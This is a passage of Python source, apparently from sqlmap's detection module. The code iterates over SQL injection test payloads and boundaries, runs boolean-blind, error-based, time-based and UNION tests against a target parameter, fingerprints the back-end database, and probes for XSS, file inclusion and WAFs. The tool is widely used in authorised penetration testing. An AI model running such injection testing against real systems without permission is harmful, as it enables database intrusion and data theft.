kb.heuristicDbms or injection.dbms) msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y').upper() == 'Y' else [] # If the DBMS has been fingerprinted (via DBMS-specific error # message, via simple heuristic check or via DBMS-specific # payload), ask the user to extend the tests to all DBMS-specific, # regardless of --level and --risk values provided if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) \ and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or \ kb.heuristicDbms or injection.dbms): msg = "for the remaining tests, do you want to include all tests " msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms) msg += "level (%d)" % conf.level if conf.level < 5 else "" msg += " and " if conf.level < 5 and conf.risk < 3 else "" msg += "risk (%d)" % conf.risk if conf.risk < 3 else "" msg += " values? [Y/n]" if conf.level < 5 and conf.risk < 3 else " value? [Y/n]" kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y').upper() == 'Y' else [] title = test.title kb.testType = stype = test.stype clause = test.clause unionExtended = False if stype == PAYLOAD.TECHNIQUE.UNION: configUnion(test.request.char) if "[CHAR]" in title: if conf.uChar is None: continue else: title = title.replace("[CHAR]", conf.uChar) elif "[RANDNUM]" in title or "(NULL)" in title: title = title.replace("[RANDNUM]", "random number") if test.request.columns == "[COLSTART]-[COLSTOP]": if conf.uCols is None: continue else: title = title.replace("[COLSTART]", str(conf.uColsStart)) title = title.replace("[COLSTOP]", str(conf.uColsStop)) elif conf.uCols is not None: debugMsg = "skipping test '%s' because the user " % title debugMsg += "provided custom column range %s" % conf.uCols logger.debug(debugMsg) continue match = re.search(r"(\d+)-(\d+)", test.request.columns) if injection.data and match: lower, upper = int(match.group(1)), int(match.group(2)) for _ in (lower, upper): if _ > 1: unionExtended = True test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns) title = re.sub(r"\b%d\b" % _, str(2 * _), title) test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title) # Skip test if the user's wants to test only for a specific # technique if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech: debugMsg = "skipping test '%s' because the user " % title debugMsg += "specified to test only for " debugMsg += "%s techniques" % " & ".join(map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech)) logger.debug(debugMsg) continue # Skip test if it is the same SQL injection type already # identified by another test if injection.data and stype in injection.data: debugMsg = "skipping test '%s' because " % title debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[stype] debugMsg += "already been identified" logger.debug(debugMsg) continue # Parse DBMS-specific payloads' details if "details" in test and "dbms" in test.details: payloadDbms = test.details.dbms else: payloadDbms = None # Skip tests if title, vector or DBMS is not included by the # given test filter if conf.testFilter and not any(conf.testFilter in str(item) or \ re.search(conf.testFilter, str(item), re.I) for item in \ (test.title, test.vector, payloadDbms)): debugMsg = "skipping test '%s' because its " % title debugMsg += "name/vector/DBMS is not included by the given filter" logger.debug(debugMsg) continue # Skip tests if title, vector or DBMS is included by the # given skip filter if conf.testSkip and any(conf.testSkip in str(item) or \ re.search(conf.testSkip, str(item), re.I) for item in \ (test.title, test.vector, payloadDbms)): debugMsg = "skipping test '%s' because its " % title debugMsg += "name/vector/DBMS is included by the given skip filter" logger.debug(debugMsg) continue if payloadDbms is not None: # Skip DBMS-specific test if it does not match the user's # provided DBMS if conf.dbms is not None and not intersect(payloadDbms, conf.dbms, True): debugMsg = "skipping test '%s' because " % title debugMsg += "the provided DBMS is %s" % conf.dbms logger.debug(debugMsg) continue # Skip DBMS-specific test if it does not match the # previously identified DBMS (via DBMS-specific payload) if injection.dbms is not None and not intersect(payloadDbms, injection.dbms, True): debugMsg = "skipping test '%s' because the identified " % title debugMsg += "back-end DBMS is %s" % injection.dbms logger.debug(debugMsg) continue # Skip DBMS-specific test if it does not match the # previously identified DBMS (via DBMS-specific error message) if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True): debugMsg = "skipping test '%s' because the parsed " % title debugMsg += "error message(s) showed that the back-end DBMS " debugMsg += "could be %s" % Format.getErrorParsedDBMSes() logger.debug(debugMsg) continue # If the user did not decide to extend the tests to all # DBMS-specific or the test payloads is not specific to the # identified DBMS, then only test for it if both level and risk # are below the corrisponding configuration's level and risk # values if not conf.testFilter and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)): # Skip test if the risk is higher than the provided (or default) # value if test.risk > conf.risk: debugMsg = "skipping test '%s' because the risk (%d) " % (title, test.risk) debugMsg += "is higher than the provided (%d)" % conf.risk logger.debug(debugMsg) continue # Skip test if the level is higher than the provided (or default) # value if test.level > conf.level: debugMsg = "skipping test '%s' because the level (%d) " % (title, test.level) debugMsg += "is higher than the provided (%d)" % conf.level logger.debug(debugMsg) continue # Skip test if it does not match the same SQL injection clause # already identified by another test clauseMatch = False for clauseTest in clause: if injection.clause is not None and clauseTest in injection.clause: clauseMatch = True break if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch: debugMsg = "skipping test '%s' because the clauses " % title debugMsg += "differ from the clause already identified" logger.debug(debugMsg) continue # Skip test if the user provided custom character (for UNION-based payloads) if conf.uChar is not None and ("random number" in title or "(NULL)" in title): debugMsg = "skipping test '%s' because the user " % title debugMsg += "provided a specific character, %s" % conf.uChar logger.debug(debugMsg) continue infoMsg = "testing '%s'" % title logger.info(infoMsg) # Force back-end DBMS according to the current test DBMS value # for proper payload unescaping Backend.forceDbms(payloadDbms[0] if isinstance(payloadDbms, list) else payloadDbms) # Parse test's comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) # Favoring non-string specific boundaries in case of digit-like parameter values if value.isdigit(): boundaries = sorted(copy.deepcopy(conf.boundaries), key=lambda x: any(_ in (x.prefix or "") or _ in (x.suffix or "") for _ in ('"', '\''))) else: boundaries = conf.boundaries for boundary in boundaries: injectable = False # Skip boundary if the level is higher than the provided (or # default) value # Parse boundary's if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)): continue # Skip boundary if it does not match against test's # Parse test's and boundary's clauseMatch = False for clauseTest in test.clause: if clauseTest in boundary.clause: clauseMatch = True break if test.clause != [0] and boundary.clause != [0] and not clauseMatch: continue # Skip boundary if it does not match against test's # Parse test's and boundary's whereMatch = False for where in test.where: if where in boundary.where: whereMatch = True break if not whereMatch: continue # Parse boundary's , and prefix = boundary.prefix if boundary.prefix else "" suffix = boundary.suffix if boundary.suffix else "" ptype = boundary.ptype # Options --prefix/--suffix have a higher priority (if set by user) prefix = conf.prefix if conf.prefix is not None else prefix suffix = conf.suffix if conf.suffix is not None else suffix comment = None if conf.suffix is not None else comment # If the previous injections succeeded, we know which prefix, # suffix and parameter type to use for further tests, no # need to cycle through the boundaries for the following tests condBound = (injection.prefix is not None and injection.suffix is not None) condBound &= (injection.prefix != prefix or injection.suffix != suffix) condType = injection.ptype is not None and injection.ptype != ptype # If the payload is an inline query test for it regardless # of previously identified injection types if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType): continue # For each test's for where in test.where: templatePayload = None vector = None # Threat the parameter original value according to the # test's tag if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix: origValue = value if kb.tamperFunctions: templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) elif where == PAYLOAD.WHERE.NEGATIVE: # Use different page template than the original # one as we are changing parameters value, which # will likely result in a different content kb.data.setdefault("randomInt", str(randomInt(10))) kb.data.setdefault("randomStr", str(randomStr(10))) if conf.invalidLogical: _ = int(kb.data.randomInt[:2]) origValue = "%s AND %s=%s" % (value, _, _ + 1) elif conf.invalidBignum: origValue = kb.data.randomInt[:6] elif conf.invalidString: origValue = kb.data.randomStr[:6] else: origValue = "-%s" % kb.data.randomInt[:4] templatePayload = agent.payload(place, parameter, value="", newValue=origValue, where=where) elif where == PAYLOAD.WHERE.REPLACE: origValue = "" kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place) # Forge request payload by prepending with boundary's # prefix and appending the boundary's suffix to the # test's ' ' string if fstPayload: boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) if reqPayload: if reqPayload in seenPayload: continue else: seenPayload.add(reqPayload) else: reqPayload = None # Perform the test's request and check whether or not the # payload was successful # Parse test's for method, check in test.response.items(): check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) # In case of boolean-based blind SQL injection if method == PAYLOAD.METHOD.COMPARISON: # Generate payload used for comparison def genCmpPayload(): sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) # Forge response payload by prepending with # boundary's prefix and appending the boundary's # suffix to the test's ' ' # string boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) return cmpPayload # Useful to set kb.matchRatio at first based on # the False response content kb.matchRatio = None kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE) Request.queryPage(genCmpPayload(), place, raise404=False) falsePage = threadData.lastComparisonPage or "" # Perform the test's True request trueResult = Request.queryPage(reqPayload, place, raise404=False) truePage = threadData.lastComparisonPage or "" if trueResult and not(truePage == falsePage and not kb.nullConnection): # Perform the test's False request falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) if not falseResult: if kb.negativeLogic: boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) errorPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) errorResult = Request.queryPage(errorPayload, place, raise404=False) if errorResult: continue infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (paramType, parameter, title) logger.info(infoMsg) injectable = True if not injectable and not any((conf.string, conf.notString, conf.regexp)) and kb.pageStable: trueSet = set(extractTextTagContent(truePage)) falseSet = set(extractTextTagContent(falsePage)) candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage and _.strip() not in threadData.lastComparisonHeaders else None for _ in (trueSet - falseSet))) if candidates: conf.string = candidates[0] infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'")) logger.info(infoMsg) injectable = True # In case of error-based SQL injection elif method == PAYLOAD.METHOD.GREP: # Perform the test's request and grep the response # body for the test's regular expression try: page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False) output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, listToStrValue( \ [headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if output: result = output == "1" if result: infoMsg = "%s parameter '%s' is '%s' injectable " % (paramType, parameter, title) logger.info(infoMsg) injectable = True except SqlmapConnectionException, msg: debugMsg = "problem occurred most likely because the " debugMsg += "server hasn't recovered as expected from the " debugMsg += "error-based payload used ('%s')" % msg logger.debug(debugMsg) # In case of time-based blind or stacked queries # SQL injections elif method == PAYLOAD.METHOD.TIME: # Perform the test's request trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False) if trueResult: # Confirm test's results trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False) if trueResult: infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (paramType, parameter, title) logger.info(infoMsg) injectable = True # In case of UNION query SQL injection elif method == PAYLOAD.METHOD.UNION: # Test for UNION injection and set the sample # payload as well as the vector. # NOTE: vector is set to a tuple with 6 elements, # used afterwards by Agent.forgeUnionQuery() # method to forge the UNION query payload configUnion(test.request.char, test.request.columns) if not Backend.getIdentifiedDbms(): if kb.heuristicDbms is None: warnMsg = "using unescaped version of the test " warnMsg += "because of zero knowledge of the " warnMsg += "back-end DBMS. You can try to " warnMsg += "explicitly set it using option '--dbms'" singleTimeWarnMessage(warnMsg) else: Backend.forceDbms(kb.heuristicDbms) if unionExtended: infoMsg = "automatically extending ranges for UNION " infoMsg += "query injection technique tests as " infoMsg += "there is at least one other (potential) " infoMsg += "technique found" singleTimeLogMessage(infoMsg) elif not injection.data: _ = test.request.columns.split('-')[-1] if _.isdigit() and int(_) > 10: if kb.futileUnion is None: msg = "it is not recommended to perform " msg += "extended UNION tests if there is not " msg += "at least one other (potential) " msg += "technique found. Do you want to skip? [Y/n] " kb.futileUnion = readInput(msg, default="Y").strip().upper() == 'N' if kb.futileUnion is False: continue # Test for UNION query SQL injection reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix) if isinstance(reqPayload, basestring): infoMsg = "%s parameter '%s' is '%s' injectable" % (paramType, parameter, title) logger.info(infoMsg) injectable = True # Overwrite 'where' because it can be set # by unionTest() directly where = vector[6] kb.previousMethod = method if conf.dummy or conf.offline: injectable = False # If the injection test was successful feed the injection # object with the test's details if injectable is True: # Feed with the boundaries details only the first time a # test has been successful if injection.place is None or injection.parameter is None: if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): injection.parameter = place else: injection.parameter = parameter injection.place = place injection.ptype = ptype injection.prefix = prefix injection.suffix = suffix injection.clause = clause # Feed with test details every time a test is successful if hasattr(test, "details"): for dKey, dValue in test.details.items(): if dKey == "dbms": injection.dbms = dValue if not isinstance(dValue, list): Backend.setDbms(dValue) else: Backend.forceDbms(dValue[0], True) elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter: injection.dbms_version = Backend.setVersion(dValue) elif dKey == "os" and injection.os is None: injection.os = Backend.setOs(dValue) if vector is None and "vector" in test and test.vector is not None: vector = test.vector injection.data[stype] = AttribDict() injection.data[stype].title = title injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload) injection.data[stype].where = where injection.data[stype].vector = vector injection.data[stype].comment = comment injection.data[stype].templatePayload = templatePayload injection.data[stype].matchRatio = kb.matchRatio injection.conf.textOnly = conf.textOnly injection.conf.titles = conf.titles injection.conf.string = conf.string injection.conf.notString = conf.notString injection.conf.regexp = conf.regexp injection.conf.optimize = conf.optimize if not kb.alerted: if conf.beep: beep() if conf.alert: infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert logger.info(infoMsg) process = execute(conf.alert, shell=True) process.wait() kb.alerted = True # There is no need to perform this test for other # tags break if injectable is True: kb.vulnHosts.add(conf.hostname) break # Reset forced back-end DBMS value Backend.flushForcedDbms() except KeyboardInterrupt: warnMsg = "user aborted during detection phase" logger.warn(warnMsg) msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" choice = readInput(msg, default="S", checkBatch=False) if choice[0] in ("s", "S"): pass elif choice[0] in ("c", "C"): choice = None while not ((choice or "").isdigit() and 0 <= int(choice) <= 6): if choice: logger.warn("invalid value") msg = "enter new verbosity level: [0-6] " choice = readInput(msg, default=str(conf.verbose), checkBatch=False).strip() conf.verbose = int(choice) setVerbosity() tests.insert(0, test) elif choice[0] in ("n", "N"): return None elif choice[0] in ("e", "E"): kb.endDetection = True elif choice[0] in ("q", "Q"): raise SqlmapUserQuitException finally: # Reset forced back-end DBMS value Backend.flushForcedDbms() Backend.flushForcedDbms(True) # Return the injection object if injection.place is not None and injection.parameter is not None: if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'): warnMsg = "in OR boolean-based injections, please consider usage " warnMsg += "of switch '--drop-set-cookie' if you experience any " warnMsg += "problems during data retrieval" logger.warn(warnMsg) injection = checkFalsePositives(injection) if not injection: kb.vulnHosts.remove(conf.hostname) else: injection = None if injection: checkSuhosinPatch(injection) checkFilteredChars(injection) return injection def heuristicCheckDbms(injection): """ This functions is called when boolean-based blind is identified with a generic payload and the DBMS has not yet been fingerprinted to attempt to identify with a simple DBMS specific boolean-based test what the DBMS may be """ retVal = False pushValue(kb.injection) kb.injection = injection for dbms in getPublicTypeMembers(DBMS, True): randStr1, randStr2 = randomStr(), randomStr() Backend.forceDbms(dbms) if conf.noEscape and dbms not in FROM_DUMMY_TABLE: continue if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)): retVal = dbms break Backend.flushForcedDbms() kb.injection = popValue() if retVal: infoMsg = "heuristic (extended) test shows that the back-end DBMS " # Not as important as "parsing" counter-part (because of false-positives) infoMsg += "could be '%s' " % retVal logger.info(infoMsg) return retVal def checkFalsePositives(injection): """ Checks for false positives (only in single special cases) """ retVal = injection if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\ (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title): pushValue(kb.injection) infoMsg = "checking if the injection point on %s " % injection.place infoMsg += "parameter '%s' is a false positive" % injection.parameter logger.info(infoMsg) def _(): return int(randomInt(2)) + 1 kb.injection = injection for i in xrange(conf.level): while True: randInt1, randInt2, randInt3 = (_() for j in xrange(3)) randInt1 = min(randInt1, randInt2, randInt3) randInt3 = max(randInt1, randInt2, randInt3) if randInt3 > randInt2 > randInt1: break if not checkBooleanExpression("%d=%d" % (randInt1, randInt1)): retVal = None break # Just in case if DBMS hasn't properly recovered from previous delayed request if PAYLOAD.TECHNIQUE.BOOLEAN not in injection.data: checkBooleanExpression("%d=%d" % (randInt1, randInt2)) if checkBooleanExpression("%d=%d" % (randInt1, randInt3)): # this must not be evaluated to True retVal = None break elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)): # this must not be evaluated to True retVal = None break elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)): # this must be evaluated to True retVal = None break elif checkBooleanExpression("%d %d" % (randInt3, randInt2)): # this must not be evaluated to True (invalid statement) retVal = None break if retVal is None: warnMsg = "false positive or unexploitable injection point detected" logger.warn(warnMsg) kb.injection = popValue() return retVal def checkSuhosinPatch(injection): """ Checks for existence of Suhosin-patch (and alike) protection mechanism(s) """ if injection.place == PLACE.GET: debugMsg = "checking for parameter length " debugMsg += "constrainting mechanisms" logger.debug(debugMsg) pushValue(kb.injection) kb.injection = injection randInt = randomInt() if not checkBooleanExpression("%d=%s%d" % (randInt, ' ' * SUHOSIN_MAX_VALUE_LENGTH, randInt)): warnMsg = "parameter length constrainting " warnMsg += "mechanism detected (e.g. Suhosin patch). " warnMsg += "Potential problems in enumeration phase can be expected" logger.warn(warnMsg) kb.injection = popValue() def checkFilteredChars(injection): debugMsg = "checking for filtered characters" logger.debug(debugMsg) pushValue(kb.injection) kb.injection = injection randInt = randomInt() # all other techniques are already using parentheses in tests if len(injection.data) == 1 and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: if not checkBooleanExpression("(%d)=%d" % (randInt, randInt)): warnMsg = "it appears that some non-alphanumeric characters (i.e. ()) are " warnMsg += "filtered by the back-end server. There is a strong " warnMsg += "possibility that sqlmap won't be able to properly " warnMsg += "exploit this vulnerability" logger.warn(warnMsg) # inference techniques depend on character '>' if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)): if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)): warnMsg = "it appears that the character '>' is " warnMsg += "filtered by the back-end server. You are strongly " warnMsg += "advised to rerun with the '--tamper=between'" logger.warn(warnMsg) kb.injection = popValue() def heuristicCheckSqlInjection(place, parameter): if kb.nullConnection: debugMsg = "heuristic check skipped because NULL connection used" logger.debug(debugMsg) return None origValue = conf.paramDict[place][parameter] paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place prefix = "" suffix = "" if conf.prefix or conf.suffix: if conf.prefix: prefix = conf.prefix if conf.suffix: suffix = conf.suffix randStr = "" while '\'' not in randStr: randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET) kb.heuristicMode = True payload = "%s%s%s" % (prefix, randStr, suffix) payload = agent.payload(place, parameter, newValue=payload) page, _ = Request.queryPage(payload, place, content=True, raise404=False) kb.heuristicMode = False parseFilePaths(page) result = wasLastResponseDBMSError() infoMsg = "heuristic (basic) test shows that %s parameter " % paramType infoMsg += "'%s' might " % parameter def _(page): return any(_ in (page or "") for _ in FORMAT_EXCEPTION_STRINGS) casting = _(page) and not _(kb.originalPage) if not casting and not result and kb.dynamicParameter and origValue.isdigit(): randInt = int(randomInt()) payload = "%s%s%s" % (prefix, "%d-%d" % (int(origValue) + randInt, randInt), suffix) payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE) result = Request.queryPage(payload, place, raise404=False) if not result: randStr = randomStr() payload = "%s%s%s" % (prefix, "%s%s" % (origValue, randStr), suffix) payload = agent.payload(place, parameter, newValue=payload, where=PAYLOAD.WHERE.REPLACE) casting = Request.queryPage(payload, place, raise404=False) kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE if casting: errMsg = "possible %s casting " % ("integer" if origValue.isdigit() else "type") errMsg += "detected (e.g. \"$%s=intval($_REQUEST['%s'])\") " % (parameter, parameter) errMsg += "at the back-end web application" logger.error(errMsg) if kb.ignoreCasted is None: message = "do you want to skip those kind of cases (and save scanning time)? %s " % ("[Y/n]" if conf.multipleTargets else "[y/N]") kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N').upper() != 'N' elif result: infoMsg += "be injectable" if Backend.getErrorParsedDBMSes(): infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes() logger.info(infoMsg) else: infoMsg += "not be injectable" logger.warn(infoMsg) kb.heuristicMode = True randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH) value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2) payload = "%s%s%s" % (prefix, "'%s" % value, suffix) payload = agent.payload(place, parameter, newValue=payload) page, _ = Request.queryPage(payload, place, content=True, raise404=False) paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place if value.lower() in (page or "").lower(): infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType infoMsg += "'%s' might be vulnerable to cross-site scripting attacks" % parameter logger.info(infoMsg) for match in re.finditer("(?i)[^\n]*(no such file|failed (to )?open)[^\n]*", page or ""): if randStr1.lower() in match.group(0).lower(): infoMsg = "heuristic (FI) test shows that %s parameter " % paramType infoMsg += "'%s' might be vulnerable to file inclusion attacks" % parameter logger.info(infoMsg) break kb.heuristicMode = False return kb.heuristicTest def checkDynParam(place, parameter, value): """ This function checks if the URL parameter is dynamic. If it is dynamic, the content of the page differs, otherwise the dynamicity might depend on another parameter. """ if kb.redirectChoice: return None kb.matchRatio = None dynResult = None randInt = randomInt() paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place infoMsg = "testing if %s parameter '%s' is dynamic" % (paramType, parameter) logger.info(infoMsg) try: payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place, raise404=False) if not dynResult: infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter) logger.info(infoMsg) randInt = randomInt() payload = agent.payload(place, parameter, value, getUnicode(randInt)) dynResult = Request.queryPage(payload, place, raise404=False) except SqlmapConnectionException: pass result = None if dynResult is None else not dynResult kb.dynamicParameter = result return result def checkDynamicContent(firstPage, secondPage): """ This function checks for the dynamic content in the provided pages """ if kb.nullConnection: debugMsg = "dynamic content checking skipped " debugMsg += "because NULL connection used" logger.debug(debugMsg) return if any(page is None for page in (firstPage, secondPage)): warnMsg = "can't check dynamic content " warnMsg += "because of lack of page content" logger.critical(warnMsg) return seqMatcher = getCurrentThreadData().seqMatcher seqMatcher.set_seq1(firstPage) seqMatcher.set_seq2(secondPage) # In case of an intolerable difference turn on dynamicity removal engine if seqMatcher.quick_ratio() <= UPPER_RATIO_BOUND: findDynamicContent(firstPage, secondPage) count = 0 while not Request.queryPage(): count += 1 if count > conf.retries: warnMsg = "target URL is too dynamic. " warnMsg += "Switching to '--text-only' " logger.warn(warnMsg) conf.textOnly = True return warnMsg = "target URL is heavily dynamic" warnMsg += ". sqlmap is going to retry the request" logger.critical(warnMsg) secondPage, _ = Request.queryPage(content=True) findDynamicContent(firstPage, secondPage) def checkStability(): """ This function checks if the URL content is stable requesting the same page two times with a small delay within each request to assume that it is stable. In case the content of the page differs when requesting the same page, the dynamicity might depend on other parameters, like for instance string matching (--string). """ infoMsg = "testing if the target URL is stable" logger.info(infoMsg) firstPage = kb.originalPage # set inside checkConnection() delay = 1 - (time.time() - (kb.originalPageTime or 0)) delay = max(0, min(1, delay)) time.sleep(delay) secondPage, _ = Request.queryPage(content=True, noteResponseTime=False, raise404=False) if kb.redirectChoice: return None kb.pageStable = (firstPage == secondPage) if kb.pageStable: if firstPage: infoMsg = "target URL is stable" logger.info(infoMsg) else: errMsg = "there was an error checking the stability of page " errMsg += "because of lack of content. Please check the " errMsg += "page request results (and probable errors) by " errMsg += "using higher verbosity levels" logger.error(errMsg) else: warnMsg = "target URL is not stable. sqlmap will base the page " warnMsg += "comparison on a sequence matcher. If no dynamic nor " warnMsg += "injectable parameters are detected, or in case of " warnMsg += "junk results, refer to user's manual paragraph " warnMsg += "'Page comparison' and provide a string or regular " warnMsg += "expression to match on" logger.warn(warnMsg) message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] " test = readInput(message, default="C") if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test and test[0] in ("s", "S"): showStaticWords(firstPage, secondPage) message = "please enter value for parameter 'string': " test = readInput(message) if test: conf.string = test if kb.nullConnection: debugMsg = "turning off NULL connection " debugMsg += "support because of string checking" logger.debug(debugMsg) kb.nullConnection = None else: errMsg = "Empty value supplied" raise SqlmapNoneDataException(errMsg) elif test and test[0] in ("r", "R"): message = "please enter value for parameter 'regex': " test = readInput(message) if test: conf.regex = test if kb.nullConnection: debugMsg = "turning off NULL connection " debugMsg += "support because of regex checking" logger.debug(debugMsg) kb.nullConnection = None else: errMsg = "Empty value supplied" raise SqlmapNoneDataException(errMsg) else: checkDynamicContent(firstPage, secondPage) return kb.pageStable def checkString(): if not conf.string: return True infoMsg = "testing if the provided string is within the " infoMsg += "target URL page content" logger.info(infoMsg) page, headers = Request.queryPage(content=True) rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) if conf.string not in rawResponse: warnMsg = "you provided '%s' as the string to " % conf.string warnMsg += "match, but such a string is not within the target " warnMsg += "URL raw response, sqlmap will carry on anyway" logger.warn(warnMsg) return True def checkRegexp(): if not conf.regexp: return True infoMsg = "testing if the provided regular expression matches within " infoMsg += "the target URL page content" logger.info(infoMsg) page, headers = Request.queryPage(content=True) rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) if not re.search(conf.regexp, rawResponse, re.I | re.M): warnMsg = "you provided '%s' as the regular expression to " % conf.regexp warnMsg += "match, but such a regular expression does not have any " warnMsg += "match within the target URL raw response, sqlmap " warnMsg += "will carry on anyway" logger.warn(warnMsg) return True def checkWaf(): """ Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse """ if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline, conf.skipWaf)): return None _ = hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_RESULT, True) if _ is not None: if _: warnMsg = "previous heuristics detected that the target " warnMsg += "is protected by some kind of WAF/IPS/IDS" logger.critical(warnMsg) return _ infoMsg = "checking if the target is protected by " infoMsg += "some kind of WAF/IPS/IDS" logger.info(infoMsg) retVal = False payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD) value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER value += agent.addPayloadDelimiters("%s=%s" % (randomStr(), payload)) pushValue(conf.timeout) conf.timeout = IDS_WAF_CHECK_TIMEOUT try: retVal = Request.queryPage(place=PLACE.GET, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO except SqlmapConnectionException: retVal = True finally: kb.matchRatio = None conf.timeout = popValue() if retVal: warnMsg = "heuristics detected that the target " warnMsg += "is protected by some kind of WAF/IPS/IDS" logger.critical(warnMsg) if not conf.identifyWaf: message = "do you want sqlmap to try to detect backend " message += "WAF/IPS/IDS? [y/N] " output = readInput(message, default="N") if output and output[0] in ("Y", "y"): conf.identifyWaf = True if conf.timeout == defaults.timeout: logger.warning("dropping timeout to %d seconds (i.e. '--timeout=%d')" % (IDS_WAF_CHECK_TIMEOUT, IDS_WAF_CHECK_TIMEOUT)) 